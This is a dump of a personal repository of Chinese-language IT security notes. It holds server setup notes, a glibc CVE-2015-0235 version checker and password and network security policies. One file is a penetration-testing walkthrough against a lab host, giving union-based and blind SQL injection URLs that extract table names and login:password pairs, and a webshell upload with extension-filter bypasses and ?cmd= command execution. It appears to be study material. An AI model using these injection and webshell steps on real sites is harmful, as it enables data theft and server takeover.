['message','%{IP:ip}\s*-\s*-\s*\[%{HTTPDATE:httpdate}\]\s*\"\w+\s*%{URIPATH:path}\s*%{NOTSPACE:http}\"\s*%{POSINT:state}\s*%{INT:bytes_sent}\s*\s*\"%{URI:url}\"\s*\"\s*%{GREEDYDATA:http_user_agent}\"'] 4 | -------------------------------------------------------------------------------- /centos_software: -------------------------------------------------------------------------------- 1 | 软件更新 2 | 1. vsftp3.0安装 3 | 注意:需要新安装yum install libcap-devel 4 | 然后 make && make install 即安装完成 5 | vsftpd.conf文件在/etc下 6 | 具体配置如下: 7 | anonymous_enable=NO 8 | local_enable=YES 9 | write_enable=YES 10 | local_umask=022 11 | dirmessage_enable=YES 12 | xferlog_enable=YES 13 | connect_from_port_20=YES 14 | xferlog_std_format=YES 15 | listen=YES 16 | #以下是指定ftp根目录,注意该目录权限需要设置确保ftp用户有权限读写。 17 | local_root=/workbase/tftp/ 18 | 启动服务: 19 | nohup /usr/local/sbin/vsftpd & 20 | 2. 21 | 22 | 23 | -------------------------------------------------------------------------------- /guess_table.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luyg24/IT_security/b54b22cd2070343e0c867088d2685be0f4d08996/guess_table.png -------------------------------------------------------------------------------- /linux_system_check.md: -------------------------------------------------------------------------------- 1 | #Linux system check 2 | ##一、 3 | 1. 检查进程id对应的程序,例子,查看id为1640的程序 4 | ls -al /proc/1640/exe 即可 5 | 2. linux rookit检查 6 | 使用rkhunter,下载地址:http://downloads.sourceforge.net/project/rkhunter/rkhunter/1.4.2/rkhunter-1.4.2.tar.gz?r=https%3A%2F%2Fsourceforge.net%2Fprojects%2Frkhunter%2Ffiles%2F&ts=1465653751&use_mirror=heanet 7 | 3. 8 | -------------------------------------------------------------------------------- /msf.txt: -------------------------------------------------------------------------------- 1 | 一、update msf 2 | vim /etc/apt/source.list 3 | 删除内容,增加如下两句 4 | deb http://http.kali.org/kali kali main non-free contrib 5 | deb-src http://http.kali.org/kali kali main non-free contrib 6 | 然后apt-get update 7 | 8 | -------------------------------------------------------------------------------- /mysql小版本升级.md: -------------------------------------------------------------------------------- 1 | #mysql 小版本升级 2 | 参考:http://highdb.com/mysql-%E5%8D%87%E7%BA%A7%E8%AF%B4%E6%98%8E/ 3 | ##1. 下载并安装新版本 4 | ##2. 关闭mysql,修改/etc/my.cnf的basedir信息,替换为新的路径 5 | ##3. 重启mysql,使用mysql_upgrade 进行检测并更新 6 | ./mysql_upgrade --host=127.0.0.1 --port=3300 /web/mysql/data/3300.sock -p 7 | -------------------------------------------------------------------------------- /ossec.md: -------------------------------------------------------------------------------- 1 | #ossec 2 | ##一、config 3 | ###1.install 4 | 5 | 6 | ###2.manage agent 7 | first : add host to ossec-server 8 | run ./manage_agents to add host , and export the key 9 | second: 10 | run ./manage_agents to import the key 11 | last: 12 | restart the server and agent 13 | 14 | view active agent in ossec server : ./agent_control -l 15 | 16 | ###3. control the angent use ossec-server 17 | 18 | 19 | -------------------------------------------------------------------------------- /pentester.md: -------------------------------------------------------------------------------- 1 | #Pentester 2 | ##一、sql injection 3 | ###基本思路: 4 | - 1. 判断是否有注入 5 | - 2. 判断当前库名,表名,字段名 6 | - 3. 获取数据 7 | - 4. 考虑无回显处理 8 | - 5. 看是否可以获取shell 9 | 10 | ###sql基本用法 11 | - 1.select id,num from test union select 1,2 12 | 一般会逐个替换1,2换成想要显示的信息,需要确定哪个位置可以正确显示,当只有一个位置可以显示的时候,可以使用concat,这里可以判断查询使用了几个字段,如果该语句正常则表示使用了2个字段。如果union用不了可以使用order by 判断。 例子: order by 1 正确,order by 3 错误则表示查询使用了2个字段 13 | 例如:select ip from temp union select concat(@@version,':',database()); 14 | 例2:select concat('my','s','ql','+',@@version); 结果:mysql+5.6.28 15 | 例3:select num,ip from temp union select 1,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10; 16 | num为数字型,ip为字符型,information表里面的信息都是字符型,所有要放在2这个位置,放在1的位置会报错(类型不匹配) 17 | 注意:union后面跟的列的个数必须和前面select 的个数一致,union select 后面的数字可以接任意想获取的信息(version(),current_user(),@@version,database()等) 18 | concat()函数用于连接一行中的字段,显示效果还是会有多行,而 group_concat用于把所有字段的内容都显示成一个大字符串。 19 | mysql> select concat(id,name) from table1; 20 | +-----------------+ 21 | | concat(id,name) | 22 | +-----------------+ 23 | | 1luyg | 24 | | 2lucy | 25 | +-----------------+ 26 | 27 | mysql> select group_concat(id,name) from table1; 28 | +-----------------------+ 29 | | group_concat(id,name) | 30 | +-----------------------+ 31 | | 1luyg,2lucy | 32 | +-----------------------+ 33 | 34 | - 2.select id,num from test order by 2 根据num进行排序 35 | select * from test order by 4 根据第四列进行排序,通过这个语句可以判断数据表中有多少列 36 | - 3. select substr(table_name,17,1) from information_schema.tables limit 1; 37 | substr用于字符串截取,17代表取出第17个字符,后面的1代表取1个,如果是2代表从17的位置开始取出2个字符, limit 1代表取出1条记录 38 | - 实战: 39 | 1. 判断注入: 40 | http://172.16.45.128/cat.php?id=1 and true 返回正确结果 41 | http://172.16.45.128/cat.php?id=1 and false 返回错误结果 42 | 该url存在注入 43 | 2. 判断查询的字段个数: 44 | http://172.16.45.128/cat.php?id=1 union select 1,2,3,4 返回正确结果 45 | 3.判断数据库版本和库名 46 | http://172.16.45.128/cat.php?id=1 union select 1,@@version,3,4 这里把最后的2变成了@@verison 实际的sql语句变成了 select @@version , 放在2这个位置是因为在页面上有显示内容,可以直接把查询后的信息在页面上展示了,这个可以根据实际情况进行适当处理,2这个位置可以换成database()来获取库名字,user()获取数据库用户名 47 | 4. 判断表名 48 | 使用union方式: 49 | http://172.16.45.128/cat.php?id=1 union select 1,(select GROUP_CONCAT(table_name) FROM information_schema.tables),3,4 50 | ![image](https://github.com/luyg24/IT_security/blob/master/guess_table.png) 51 | 上述方法会查找所有表名,如果只想查找指定数据库的表,使用table_schema作为条件判断 52 | select id,name,sex from table1 union select 1,(select GROUP_CONCAT(table_name) FROM information_schema.tables where table_schema = 'photoblog'),3; 53 | 使用盲注方式: 54 | http://172.16.45.128/cat.php?id=1 and (SELECT SUBSTR(table_name,1,1) FROM information_schema.tables limit 1 ) > 'A' 55 | 如果返回正常代表表名的第一个字符是>'A'的 56 | select * from users where id = 1 and ((SELECT SUBSTR(table_name,1,1) FROM information_schema.tables limit 1 )> 'A'); 57 | http://172.16.45.128/cat.php?id=1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name = 'users'),1,1 58 | 59 | 5. 获取字段 60 | select column_name from information_schema.columns where table_name = 'users' 61 | 62 | 6. 获取数据 63 | http://172.16.45.128/cat.php?id=1 union select 1,(select concat(login,':',password) from users),1,1 64 | 65 | 7. get shell ,针对php 66 | shell 67 | 70 | 将上出代码保存为webshell.php即可上传到目的站点 71 | skill:当应用过滤了.php的时候可以考虑使用php3扩展名或者.php.test(apache还会继续使用.php作为该文件的扩展,其余没有测试过) 72 | 假设已经将webshell.php3上传到了目的站点,路径为:http://vulnerable/admin/uploads/webshell.php3,该shell是用来执行命令的,在后面加上?cmd='linux命令' 73 | http://vulnerable/admin/uploads/webshell.php3?cmd=uname , http://vulnerable/admin/uploads/webshell.php3?cmd=ls 都能获取到执行结果 74 | ![image](https://github.com/luyg24/IT_security/blob/master/webshell1.png) 75 | 76 | ## 实战II 77 | 针对以上存在漏洞的站点进行部分安全防护措施,具体如下 78 | php配置文件启用 magic_quotes_gpc 禁用 display_errors 79 | 1. telnet获取网站head 信息 80 | ![image](https://github.com/luyg24/IT_security/blob/master/telnet-head.png) 81 | 参考:http://blog.csdn.net/zbzheng/article/details/3765033 82 | 83 | 84 | 85 | - 参考:http://drops.wooyun.org/tips/123 86 | ##Other、 87 | ###dns区域传送检查 88 | - nslookup 进入交互shell,使用server 指定dns服务器,然后 ls -d 域名,例如ls -d abc.com.cn 即可 89 | 参考:http://www.lijiejie.com/dns-zone-transfer-1/ 90 | - 91 | 92 | -------------------------------------------------------------------------------- /poc_glibc.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | vercomp () { 3 | if [[ $1 == $2 ]] 4 | then 5 | return 0 6 | fi 7 | local IFS=. 8 | local i ver1=($1) ver2=($2) 9 | # fill empty fields in ver1 with zeros 10 | for ((i=${#ver1[@]}; i<${#ver2[@]}; i++)) 11 | do 12 | ver1[i]=0 13 | done 14 | for ((i=0; i<${#ver1[@]}; i++)) 15 | do 16 | if [[ -z ${ver2[i]} ]] 17 | then 18 | # fill empty fields in ver2 with zeros 19 | ver2[i]=0 20 | fi 21 | if ((10#${ver1[i]} > 10#${ver2[i]})) 22 | then 23 | return 1 24 | fi 25 | if ((10#${ver1[i]} < 10#${ver2[i]})) 26 | then 27 | return 2 28 | fi 29 | done 30 | return 0 31 | } 32 | 33 | glibc_vulnerable_version=2.17 34 | glibc_vulnerable_revision=54 35 | glibc_vulnerable_version2=2.5 36 | glibc_vulnerable_revision2=122 37 | glibc_vulnerable_version3=2.12 38 | glibc_vulnerable_revision3=148 39 | echo "Vulnerable glibc version <=" $glibc_vulnerable_version"-"$glibc_vulnerable_revision 40 | echo "Vulnerable glibc version <=" $glibc_vulnerable_version2"-"$glibc_vulnerable_revision2 41 | echo "Vulnerable glibc version <=" $glibc_vulnerable_version3"-1."$glibc_vulnerable_revision3 42 | 43 | glibc_version=$(rpm -q glibc | awk -F"[-.]" '{print $2"."$3}' | sort -u) 44 | if [[ $glibc_version == $glibc_vulnerable_version3 ]] 45 | then 46 | glibc_revision=$(rpm -q glibc | awk -F"[-.]" '{print $5}' | sort -u) 47 | else 48 | glibc_revision=$(rpm -q glibc | awk -F"[-.]" '{print $4}' | sort -u) 49 | fi 50 | echo "Detected glibc version" $glibc_version" revision "$glibc_revision 51 | 52 | vulnerable_text=$"This system is vulnerable to CVE-2015-0235. 53 | Update the glibc and ncsd packages on your system using the packages released with the following: 54 | yum install glibc" 55 | 56 | if [[ $glibc_version == $glibc_vulnerable_version ]] 57 | then 58 | vercomp $glibc_vulnerable_revision $glibc_revision 59 | elif [[ $glibc_version == $glibc_vulnerable_version2 ]] 60 | then 61 | vercomp $glibc_vulnerable_revision2 $glibc_revision 62 | elif [[ $glibc_version == $glibc_vulnerable_version3 ]] 63 | then 64 | vercomp $glibc_vulnerable_revision3 $glibc_revision 65 | else 66 | vercomp $glibc_vulnerable_version $glibc_version 67 | fi 68 | 69 | case $? in 70 | 0) echo "$vulnerable_text";; 71 | 1) echo "$vulnerable_text";; 72 | 2) echo "Not Vulnerable.";; 73 | esac 74 | 75 | -------------------------------------------------------------------------------- /sec-tools.txt: -------------------------------------------------------------------------------- 1 | 1. 文件一致性检查 2 | md5sum 3 | 使用:md5sum /tmp/* 4 | 即可对tmp 下的所有文件进行md5生成,后期可以再生成然后和之前的做对比,可以得出文件是否有修改 5 | -------------------------------------------------------------------------------- /security_standard: -------------------------------------------------------------------------------- 1 | 安全性要求 2 | 1.密码复杂度 3 | 密码至少9位,包含大小写,数字,特殊字符 4 | 2.密码安全性 5 | 密码至少3个月更新一次,且不能与上5次密码一样,错误次数超过6次锁定5分钟 6 | 3.空闲超时退出 7 | 5分钟无操作自动退出 8 | 4.访问控制 9 | 设置允许登陆本机的白名单 10 | 6.系统用户包括不同角色,且权限不能一样 11 | 至少要包含一个审计角色 12 | administrator /root 默认不允许登陆 13 | 14 | loguser用户:只用于查看 15 | work用户:只用于平时登陆操作 16 | audit用户:只用于审计 17 | 18 | 基本要求 19 | 1.配置时区,配置时间自动同步,5分钟自动同步一次 20 | 2. 21 | utc 8 22 | 3.配置日志服务器,将日志同步到日志服务器 23 | 24 | -------------------------------------------------------------------------------- /sqli-labs.md: -------------------------------------------------------------------------------- 1 | #sqli-labs 2 | 3 | -------------------------------------------------------------------------------- /telnet-head.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luyg24/IT_security/b54b22cd2070343e0c867088d2685be0f4d08996/telnet-head.png -------------------------------------------------------------------------------- /webshell1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/luyg24/IT_security/b54b22cd2070343e0c867088d2685be0f4d08996/webshell1.png -------------------------------------------------------------------------------- /制度/密码管理制度: -------------------------------------------------------------------------------- 1 | #############密码管理制度 2 | 1. 密码应至少包含9个字符 3 | 2. 密码必须至少含有大小写字母,特殊字符,数字中的任意三种组合 4 | 3. 密码有效期最长为3个月,每三个月必须更改密码,且密码不能和前3次密码重复 5 | 4. 密码必须妥善保管,不能以纸质方式保存,不能以邮件、即时通讯和共享的方式传递 6 | 5. 密码不能和用户名相同 7 | 6. 密码必须是难以猜测的 8 | 7. 所有初始密码必须更改(包括供应商提供的网络设备,常用软件默认密码等) 9 | 8. 当怀疑密码被破解或者泄漏必须立刻更改 10 | 9. 密码输入时不应将密码明文输出,应采取必要的掩盖措施。 11 | 10. 定期对密码进行扫描,确保无弱密码 12 | 11. 离职人员应及时回收登陆权限 13 | 14 | 15 | 16 | -------------------------------------------------------------------------------- /制度/漏洞扫描制度: -------------------------------------------------------------------------------- 1 | ################漏洞扫描制度 2 | 1. 理房通所在机房和办公区的网络设备和服务器应定期进行扫描并根据实际情况修复发现的中危以上漏洞 3 | 2. 服务器、网络设备新上线前必须进行扫描,并第一时间修复中危以上漏洞 4 | 3. 安全管理员负责查找漏洞的补丁程序并验证是否可用 5 | 4. 安全管理员应密切关注最新漏洞的发生、发展情况,并及时根据实际情况进行修复 6 | 5. 只有安全管理员才有修改漏洞扫描设备配置、分析和扫描的权限 7 | 6. 漏洞扫描设备工作期间会对网络造成影响,应避免在网络高峰期进行扫描。生产服务器至少每周扫描一次。 8 | 7. 安全管理员应公示每次扫描后的结果,并通知相关人员进行修复 9 | 8. 安全管理员应定期对漏扫设备进行特征库和版本进行更新 10 | 9. 对严重违反信息安全规定的人员,上报人力资源部门进行处理 11 | -------------------------------------------------------------------------------- /制度/网络安全管理制度: -------------------------------------------------------------------------------- 1 | 2 | ################网络安全管理制度######## 3 | 结构安全 4 | 1. 应保证主要网络设备的业务处理能力具备冗余空间,满足业务高峰期需要。 5 | 2. 应保证网络中各个节点的网络带宽满足高峰期需要。 6 | 3. 应在网络不同安全域之间进行访问控制,应精确到端口级别。 7 | 4. 核心系统应避免直接与外部系统连接,不能将核心系统部署在网络边界。 8 | 5. 应根据业务功能,重要性等因素划分不同的子网。 9 | 6. 按照业务系统重要度分级,并以此指定不同的qos策略,确保网络发生拥堵时优先保护重要主机 10 | 7. 应在网络边界部署访问控制设备,并启用访问控制功能 11 | 8. 重要安全域应对主机arp信息进行双向绑定,防止地址欺骗 12 | 9. 应对进出网络的内容进行过滤,确保只放行业务相关流量,重要安全域之间应部署ips进行检测。 13 | 10. 应根据用户和系统之间的访问规则决定允许或拒绝用户对系统进行资源访问。 14 | 11. 应在会话处于空闲5分钟后中断网络连接 15 | 12. 应通过vpn配合堡垒机的方式对服务器和网络设备进行运维操作 16 | 网络安全审计 17 | 13. 应对网络设备运行设备、流量、用户行为进行日志记录,记录应包括事件的日期、时间、用户、事件类型、事件成功与否等信息 18 | 14. 应对网络中的故障进行分析、查找原因并总结规避措施形成故障知识库 19 | 15. 应能根据记录数据进行分析审计,并形成审计报表,记录应妥善保管,避免非预期的删除修改等。 20 | 边界完整性检查 21 | 16. 应能防范网络内arp攻击 22 | 17. 应能通过技术手段监控非法连接并进行定位和阻断 23 | 18. 应能对常见攻击进行监控和防范(端口扫描、拒绝服务、木马后门等)并且应记录攻击源ip,攻击类型、时间,发现问题能及时报警 24 | 19. 应能在网络边界对恶意代码进行检测和清除,恶意代码库应定期更新 25 | 网络设备防护 26 | 20. 口令应遵循密码管理制度的要求 27 | 21. 应对网络设备的登陆地址进行限制,设备应配置登陆失败处理功能 28 | 22. 对网络设备进行远程管理,应采取必要措施防止信息在网络传输过程中被窃听 29 | 23. 应实现设备特权用户的权限分离(至少应包含审计员、管理员) 30 | 24. 网络设备应实现最小服务配置原则,关闭不需要的服务,并对配置文件进行定期备份 31 | 网络安全管理 32 | 25. 应对网络安全配置、日志、安全策略、补丁更新、口令等做出规定形成安全配置基线 33 | 26. 应保证所有与外部系统的连接都得到授权和批准 34 | 27. 应定期对网络设备进行漏洞扫描,并对出现的问题进行修复 35 | 网络相关人员安全管理 36 | 28. 应指定专人对网络进行管理,负责运行日志、网络监控记录的日常维护和报警信息分析和处理工作。 37 | 29. 应制定网络安全管理岗位职责、分工和技能要求 38 | 30. 关键岗位人员应从内部选拔并签订保密协议 39 | 31. 应对关键岗位的人员进行全面、严格的安全审查和技能考核。 40 | 41 | 42 | 43 | ####################系统安全管理制度 44 | 身份鉴别 45 | 1. 应对登陆操作系统和数据库系统的用户进行身份标识和鉴别 46 | 2. 应为操作系统和数据库系统的不通用户分配不通的用户名 47 | 3. 应设置鉴别警示信息,描述未授权访问可能导致的后果 48 | 4. 口令应遵循密码管理制度的要求 49 | 5. 应启用登陆失败处理功能 50 | 访问控制 51 | 6. 应启用访问控制功能,生产服务器必须通过堡垒机进行访问 52 | 7. 应根据用户的角色分配不同权限,实现用户权限分离 53 | 8. 应采用ssh方式管理服务器 54 | 9. 应避免不必要的信任关系 55 | 10. 应即使删除多余的、过期的用户 56 | 安全审计 57 | 11. 应对系统和数据库管理员进行操作审计 58 | 12. 审计内容应至少包括事件日期,时间,类型,用户行为,重要系统命令的使用等事件 59 | 13. 审计报表应定期导出并分析 60 | 系统保护 61 | 14. 应对系统重要文件进行备份 62 | 15. 应俱备不同角色服务器故障恢复策略 63 | 16. 主机磁盘应合理规划,确保磁盘空间使用安全 64 | 入侵防范 65 | 18. 应能对重要服务器的入侵行为进行检测,并能够记录入侵日期,时间,源ip,行为等信息,严重入侵事件应能进行报警 66 | 19. 应能对重要程序的完整性进行检查,并具有恢复措施 67 | 20. 应关闭系统不必要的服务和端口 68 | 21. 操作系统应遵循最小化安装原则,仅安装必须的组件和应用程序 69 | 恶意代码防范 70 | 22. 服务器应安装防恶意代码软件或者应定期对服务器恶意代码进行扫描 71 | 23. 应及时更新恶意代码库 72 | 资源控制 73 | 24. 应对重要服务器进行监控,至少应包括cpu,内存硬盘网络等基本信息 74 | 25. 应定义服务器监控指标,超过指标应能发送告警 75 | 主机安全管理 76 | 26. 应对系统安全策略、配置、日志管理等方面给出具体规定形成安全配置基线 77 | 27. 应定期对系统进行扫描,并对发现的漏洞进行修复 78 | 28. 应及时对操作系统进行补丁安装 79 | 主机相关人员安全管理 80 | 29. 应指定专人对系统进行管理,划分系统管理员角色,权限设定应遵循最小授权原则 81 | 30. 应指定服务器管理岗位的职责、分工和技能要求 82 | 31. 关键岗位人员应从内部选拔并签订保密协议 83 | 32. 应对关键岗位的人员进行全面、严格的安全审查和技能考核。 84 | 85 | 86 | -------------------------------------------------------------------------------- /制度/网络系统安全管理制度: -------------------------------------------------------------------------------- 1 | 2 | ################网络安全管理制度######## 3 | 结构安全 4 | 1. 应保证主要网络设备的业务处理能力具备冗余空间,满足业务高峰期需要。 5 | 2. 应保证网络中各个节点的网络带宽满足高峰期需要。 6 | 3. 应在网络不同安全域之间进行访问控制,应精确到端口级别。 7 | 4. 核心系统应避免直接与外部系统连接,不能将核心系统部署在网络边界。 8 | 5. 应根据业务功能,重要性等因素划分不同的子网。 9 | 6. 按照业务系统重要度分级,并以此指定不同的qos策略,确保网络发生拥堵时优先保护重要主机 10 | 7. 应在网络边界部署访问控制设备,并启用访问控制功能 11 | 8. 重要安全域应对主机arp信息进行双向绑定,防止地址欺骗 12 | 9. 应对进出网络的内容进行过滤,确保只放行业务相关流量,重要安全域之间应部署ips进行检测。 13 | 10. 应根据用户和系统之间的访问规则决定允许或拒绝用户对系统进行资源访问。 14 | 11. 应在会话处于空闲5分钟后中断网络连接 15 | 12. 应通过vpn配合堡垒机的方式对服务器和网络设备进行运维操作 16 | 网络安全审计 17 | 13. 应对网络设备运行设备、流量、用户行为进行日志记录,记录应包括事件的日期、时间、用户、事件类型、事件成功与否等信息 18 | 14. 应对网络中的故障进行分析、查找原因并总结规避措施形成故障知识库 19 | 15. 应能根据记录数据进行分析审计,并形成审计报表,记录应妥善保管,避免非预期的删除修改等。 20 | 边界完整性检查 21 | 16. 应能防范网络内arp攻击 22 | 17. 应能通过技术手段监控非法连接并进行定位和阻断 23 | 18. 应能对常见攻击进行监控和防范(端口扫描、拒绝服务、木马后门等)并且应记录攻击源ip,攻击类型、时间,发现问题能及时报警 24 | 19. 应能在网络边界对恶意代码进行检测和清除,恶意代码库应定期更新 25 | 网络设备防护 26 | 20. 口令应遵循密码管理制度的要求 27 | 21. 应对网络设备的登陆地址进行限制,设备应配置登陆失败处理功能 28 | 22. 对网络设备进行远程管理,应采取必要措施防止信息在网络传输过程中被窃听 29 | 23. 应实现设备特权用户的权限分离(至少应包含审计员、管理员) 30 | 24. 网络设备应实现最小服务配置原则,关闭不需要的服务,并对配置文件进行定期备份 31 | 网络安全管理 32 | 25. 应对网络安全配置、日志、安全策略、补丁更新、口令等做出规定形成安全配置基线 33 | 26. 应保证所有与外部系统的连接都得到授权和批准 34 | 27. 应定期对网络设备进行漏洞扫描,并对出现的问题进行修复 35 | 网络相关人员安全管理 36 | 28. 应指定专人对网络进行管理,负责运行日志、网络监控记录的日常维护和报警信息分析和处理工作。 37 | 29. 应制定网络安全管理岗位职责、分工和技能要求 38 | 30. 关键岗位人员应从内部选拔并签订保密协议 39 | 31. 应对关键岗位的人员进行全面、严格的安全审查和技能考核。 40 | 41 | 42 | 43 | ####################系统安全管理制度 44 | 身份鉴别 45 | 1. 应对登陆操作系统和数据库系统的用户进行身份标识和鉴别 46 | 2. 应为操作系统和数据库系统的不通用户分配不通的用户名 47 | 3. 应设置鉴别警示信息,描述未授权访问可能导致的后果 48 | 4. 口令应遵循密码管理制度的要求 49 | 5. 应启用登陆失败处理功能 50 | 访问控制 51 | 6. 应启用访问控制功能,生产服务器必须通过堡垒机进行访问 52 | 7. 应根据用户的角色分配不同权限,实现用户权限分离 53 | 8. 应采用ssh方式管理服务器 54 | 9. 应避免不必要的信任关系 55 | 10. 应即使删除多余的、过期的用户 56 | 安全审计 57 | 11. 应对系统和数据库管理员进行操作审计 58 | 12. 审计内容应至少包括事件日期,时间,类型,用户行为,重要系统命令的使用等事件 59 | 13. 审计报表应定期导出并分析 60 | 系统保护 61 | 14. 应对系统重要文件进行备份 62 | 15. 应俱备不同角色服务器故障恢复策略 63 | 16. 主机磁盘应合理规划,确保磁盘空间使用安全 64 | 入侵防范 65 | 18. 应能对重要服务器的入侵行为进行检测,并能够记录入侵日期,时间,源ip,行为等信息,严重入侵事件应能进行报警 66 | 19. 应能对重要程序的完整性进行检查,并具有恢复措施 67 | 20. 应关闭系统不必要的服务和端口 68 | 21. 操作系统应遵循最小化安装原则,仅安装必须的组件和应用程序 69 | 恶意代码防范 70 | 22. 服务器应安装防恶意代码软件或者应定期对服务器恶意代码进行扫描 71 | 23. 应及时更新恶意代码库 72 | 资源控制 73 | 24. 应对重要服务器进行监控,至少应包括cpu,内存硬盘网络等基本信息 74 | 25. 应定义服务器监控指标,超过指标应能发送告警 75 | 主机安全管理 76 | 26. 应对系统安全策略、配置、日志管理等方面给出具体规定形成安全配置基线 77 | 27. 应定期对系统进行扫描,并对发现的漏洞进行修复 78 | 28. 应及时对操作系统进行补丁安装 79 | 主机相关人员安全管理 80 | 29. 应指定专人对系统进行管理,划分系统管理员角色,权限设定应遵循最小授权原则 81 | 30. 应指定服务器管理岗位的职责、分工和技能要求 82 | 31. 关键岗位人员应从内部选拔并签订保密协议 83 | 32. 应对关键岗位的人员进行全面、严格的安全审查和技能考核。 84 | 85 | 86 | -------------------------------------------------------------------------------- /文件一致性检查.md: -------------------------------------------------------------------------------- 1 | #网络设备 2 | ##场景 3 | 1.硬件巡检 4 | - 导出设备硬件状态信息 5 | - 每周对硬件状态信息导出并通过最原始的信息进行md5比对,如果md5值不同一定有硬件变化 6 | - 有硬件变化可以通过zabbix进行报警,提醒管理员检查 7 | -------------------------------------------------------------------------------- /现存安全问题: -------------------------------------------------------------------------------- 1 | ##########安全问题总结######## 2 | 一、网络设备 3 | 4 | 二、系统 5 | 6 | 三、应用系统 7 | 8 | 四、db 9 | 五、 10 | --------------------------------------------------------------------------------